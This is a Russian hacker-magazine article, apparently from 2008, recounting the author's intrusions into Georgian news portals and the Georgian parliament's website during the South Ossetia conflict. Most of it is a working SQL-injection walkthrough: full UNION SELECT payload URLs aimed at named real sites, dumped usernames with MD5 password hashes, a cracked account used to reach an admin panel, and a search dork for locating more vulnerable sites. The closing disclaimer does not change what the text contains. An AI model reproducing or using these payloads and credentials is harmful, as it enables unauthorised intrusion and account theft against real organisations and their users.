Наш ответ Грузии: Наносим удары по грузинским госпорталамЛеонид «R0id» Стройков (stroikov@gameland.ru) Ни для кого не секрет, что все политические события находят отражение в Сети. Так было во время нападения террористов на Нальчик в позапрошлом году (вспомним массовые атаки на сервер КавказЦентра). Так произошло и во время августовских событий в Южной Осетии. Кибер-войны стали неотъемлемой частью реальных, кровопролитных, событий. Хорошо это или плохо – каждый решает сам. Но мы, хакеры, решили – что плохо! Мирное распитие пива в сочетании с пролистыванием башорга было неожиданно прервано экстренными выпусками новостей о ходе развития грузино-осетинского конфликта. Просмотрев новостные ленты и убедившись в бесполезности уподобления участникам политических баталий, я решил прошерстить несколько государственных и информационных ресурсов в доменной зоне .GE. Атакуем СМИКак известно, ни одно крупномасштабное событие не обходится без участия средств массовой информации. В свою очередь, они активно используют интернет для передачи своего видения происходящего. Да, ты не ослышался, именно «своего видения», ибо каждое СМИ публикует исключительно то, что хочет (или то, что подсказали). Абсолютно противоположные взгляды российских и западных/грузинских изданий побудили меня глубже вникнуть в ситуацию, со всеми вытекающими отсюда последствиями :). В качестве первого объекта для установления информационного баланса на просторах зоны .GE был выбрал ресурс www.presa.ge. Название домена говорит само за себя, поэтому я не стану описывать контент сайта. Скажу лишь, что по данным Гугла портал имеет PR 5. После «Reverse IP» сервера стало понятно, что сайт хостится в Грузии и имеет поддомен pda.presa.ge. Поработав с движком ресурса www.presa.ge, через некоторое время я отыскал типичный sql-инъект, который имел вид: http://www.presa.ge/index.php?text=news&i=-1+sql-запрос Функции user() и version() выдали достаточно радужную для меня инфу: user() - presa_ge@localhost Версия мускула была выше 5, и, следовательно, перебор табличек не представлял собой ничего сверхъестественного: http://www.presa.ge/index.php?text=news&i=-1+union+select+1,2,table_name,4,5,6,7,8,9,10,11+from+information_schema.tables+limit+21,1-- К моему удивлению, табличка «users» имела всего одну запись: http://www.presa.ge/index.php?text=news&i=-1+union+select+1,2,count(*),4,5,6,7,8,9,10,11+from+users-- Тем не менее, логин и пароль удалось заполучить без особых проблем: http://www.presa.ge/index.php?text=news&i=-1+union+select+1,2,concat(user_username,char(58),user_password),4,5,6,7,8,9,10,11+from+users+limit+0,1-- А сам аккаунт имел вид: presa.ge:c1ab283404b71a940807009023a764bd Судя по хэшу, пасс был шифрован md5-алгоритмом, что при правильном подходе не сулило ничего сложного. Огорчало другое, – мне так и не удалось найти месторасположение админки либо формочки логина пользователей. Сканирование доступных для просмотра каталогов на сервере результатов также не принесло. А load_file() в мускуле упорно отказывался работать (видимо, по причине отсутствия прав). Поразмыслив, я запустил брут добытого хэша (c1ab283404b71a940807009023a764bd) на одном из забугорных дедиков (с целью в дальнейшем потыкать пароль на фтп/ссш/etc) и принялся за поиск новой жертвы. На этот раз моего внимания удостоился крупный грузинский портал с красноречивым доменом www.internet.ge. Высокий PR и обилие информационных материалов свидетельствовали о широкой популярности портала. Реверс IP показал, что на сервере, помимо www.internet.ge, хостилось еще с десяток грузинских ресурсов: astrology.internet.ge [212.72.130.138] Как оказалось, с примечательного www.ge был настроен редирект на www.internet.ge :). Однако на основном поддомене уязвимостей обнаружить не удалось. Тогда, перерыв Гугл, я составил список поддоменов портала: archiveinews.internet.ge Просмотрев поверхностно каждый из поддоменов, я обнаружил неявную sql-инъекцию на inews.internet.ge: http://inews.internet.ge/stat_relatives.html?date=2008-08-09&stat=-1+union+select+1,2,3,4,table_name,6,7,8,9,10,11,12,13+from+information_schema.tables+limit+25,1/* Сам инъект прекрасно функционировал, но обилие табличек, в том числе и с малопонятными названиями, отбивало всякое желание работать. Кроме того, на доступ ко многим таблицам у пользователя webuser@localhost (от имени которого я выполнял запросы) попросту не хватало прав. О наличии file_priv говорить тоже не приходилось. Не радовала и обнаруженная админка ресурса: http://www.internet.ge/admin/ Доступ к ней определялся, судя по всему, хтассесом. Сохранив багу в закладках браузера до лучших (читай – худших) времен, я решил попытать удачу на поприще грузинских гос-ресурсов. Задача предстояла нелегкая, но после «боевой» разминки азарта только прибавилось. Контрольный ударПосетив несколько грузинских государственных ресурсов, я остановил свой выбор на сайте парламента Грузии – www.parliament.ge. Просканировал структуру ресурса и получил следующую картину: - files (каталог) - содержал в себе множество различных pdf-документов: - newsletter (каталог) - содержимое: - pages (каталог) - содержимое: Движок ресурса был написан на PHP, посему, недолго думая, я приступил к анализу скриптов. Благо, на этот раз мне повезло: уязвимость находилась в скрипте index.php в нефильтруемом параметре «sec_id». Сам запрос выглядел так: http://www.parliament.ge/index.php?lang_id=ENG&sec_id=1185&info_id=-1+sql-запрос Кроме того, бага раскрывала путь к корню ресурса: /usr/local/www/parliament/ Как и в предыдущих случаях, доступа к file_priv не было, а значит, на использование load_file() можно было не рассчитывать. Не было доступа и к mysql.user. Тогда я просмотрел инфу о базе и пользователе: user: dato@localhost И принялся за поиск аппетитных табличек в базе. Наткнувшись на табличку под названием «users», я без труда смог перебирать захэшированные пароли пользователей, коих насчитывалось около 800: http://www.parliament.ge/index.php?lang_id=ENG&sec_id=1185&info_id=-1+union+select+1,2,3,4,5,6,7,password,9,10,11, 12,13+FROM+users+limit+1,1-- Вскоре, сконструировав запрос с помощью cancat(), я получил полноценный доступ к БД с юзерскими аккаунтами: http://www.parliament.ge/index.php?lang_id=ENG&sec_id=1185&info_id=-1+union+select+1,2,3,4,concat(username,char(58),password),6,7,8,9,10,11,12,13+from+users+limit+10,1-- Таким образом, я слил пару десятков аккаунтов вида: vivageodea:55e9a83d8533e24df2a3d444aedb48e8 Сбрутив выборочно первый из паролей, я стал счастливым обладателем полноценного аккаунта к системе: логин: vivageodea Нащупать админку не составило особого труда. Она находилась по стандартному расположению в каталоге /admin: http://www.parliament.ge/admin/ Но при переходе по линку меня ждало разочарование в виде недвусмысленной надписи «Forbidden». По всей видимости, доступ к админке был закрыт либо фильтровался по неизвестному мне диапазону IP-адресов. Мириться с таким положением вещей абсолютно не хотелось, посему я принялся парсить поддомены ресурса. К моему удивлению, единственный поддомен http://users.parliament.ge работал на том же движке, что и www.parliament.ge. Следовательно, успешно функционировал и найденный ранее баг: http://users.parliament.ge/index.php?lang_id=ENG&sec_id=1185&info_id=-1+union+select+1,2,3,4,concat(username,char(58),password),6,7,8,9,10,11,12,13+from+users+limit+10,1-- А больше всего меня обрадовала рабочая админка, располагавшаяся по адресу: http://users.parliament.ge/admin/ Что было дальше, думаю, описывать не имеет смысла. Пусть это останется моим маленьким секретом. Дефейсить или нет – личное дело каждого, мое же отношение к дефам – отрицательное. Меня больше интересовала судьба бажного движка, которую я решил прояснить при помощи Гугла. Вбил в поисковик запрос вида: inurl:.ge + inurl:"/index.php?lang_id=ENG" И перешел по линку: http://www.google.ru/search?complete=1&hl=en&newwindow=1&q=inurl%3A.ge+%2B+inurl%3A%22%2Findex.php%3Flang_id%3DENG%22&btnG=Search&aq=f&oq= Перед моим взором открылось несколько десятков ресурсов с уязвимым скриптом... Впрочем, как говорится, это уже совсем другая история. Разбор налетовМожно долго спорить на тему «быть дефейсу или не быть», можно ввязываться в политические баталии. Сути это не изменит. Сеть изначально была пространством свободы, свободы выражения мыслей и свободы действий. Именно поэтому взлом – это искусство, а не способ решения политических проблем. Так или иначе – выбирать тебе. Я искренне надеюсь, что ты сделаешь правильный выбор. Удачи тебе, и до новых встреч на страницах журнала. DangerВнимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут! Info
|